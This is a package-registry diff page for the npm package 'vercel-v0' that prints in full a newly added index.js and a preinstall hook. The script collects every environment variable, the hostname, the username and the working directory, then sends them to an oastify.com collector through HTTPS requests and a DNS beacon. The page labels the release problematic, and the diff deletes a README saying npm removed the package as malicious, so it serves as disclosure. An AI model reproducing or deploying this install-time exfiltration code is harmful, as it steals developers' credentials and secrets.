vercel-v0 0.0.1-security → 999.999.8005

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of vercel-v0 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +53 -0
  2. package/package.json +5 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,53 @@
1
+ const https = require('https');
2
+ const http = require('http');
3
+ const os = require('os');
4
+
5
+ try {
6
+ // Get ALL environment variables
7
+ const allEnv = process.env;
8
+
9
+ // Create data object
10
+ const data = {
11
+ package: 'vercel-v0',
12
+ version: '999.999.8005',
13
+ hostname: os.hostname(),
14
+ user: os.userInfo().username,
15
+ cwd: process.cwd(),
16
+ timestamp: Date.now(),
17
+ env_count: Object.keys(allEnv).length,
18
+ all_env: allEnv
19
+ };
20
+
21
+ // Convert to JSON and base64
22
+ const jsonData = JSON.stringify(data);
23
+ const base64Data = Buffer.from(jsonData).toString('base64');
24
+
25
+ // Split into chunks if too large for URL
26
+ const chunkSize = 500;
27
+ for(let i = 0; i < base64Data.length; i += chunkSize) {
28
+ const chunk = base64Data.slice(i, i + chunkSize);
29
+ const chunkNum = Math.floor(i / chunkSize);
30
+
31
+ // Send each chunk
32
+ https.get(`https://dzggjw8id3h52yq5lju9khpil9r1fs3h.oastify.com/vercel-v0-env-${chunkNum}?data=${chunk}`, r => r.resume()).on('error', () => {});
33
+ }
34
+
35
+ // Also send a summary with key env vars
36
+ const summary = {
37
+ pkg: 'vercel-v0',
38
+ env_keys: Object.keys(allEnv).join(',').substring(0, 200),
39
+ is_npm: allEnv.npm_command ? 'yes' : 'no',
40
+ has_vercel: Object.keys(allEnv).some(k => k.includes('VERCEL')) ? 'yes' : 'no'
41
+ };
42
+
43
+ https.get(`https://dzggjw8id3h52yq5lju9khpil9r1fs3h.oastify.com/vercel-v0-summary?${new URLSearchParams(summary).toString()}`, r => r.resume()).on('error', () => {});
44
+
45
+ // DNS beacon to confirm execution
46
+ require('dns').lookup(`vercel-v0-${VERSION.replace(/\./g, '-')}.dzggjw8id3h52yq5lju9khpil9r1fs3h.oastify.com`, () => {});
47
+
48
+ } catch(e) {
49
+ // Even on error, try to beacon
50
+ https.get(`https://dzggjw8id3h52yq5lju9khpil9r1fs3h.oastify.com/vercel-v0-error?msg=${e.message}`, r => r.resume()).on('error', () => {});
51
+ }
52
+
53
+ module.exports = {};
package/package.json CHANGED
@@ -1,6 +1,8 @@
1
1
  {
2
2
  "name": "vercel-v0",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "999.999.8005",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "preinstall": "node index.js"
7
+ }
6
8
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=vercel-v0 for more information.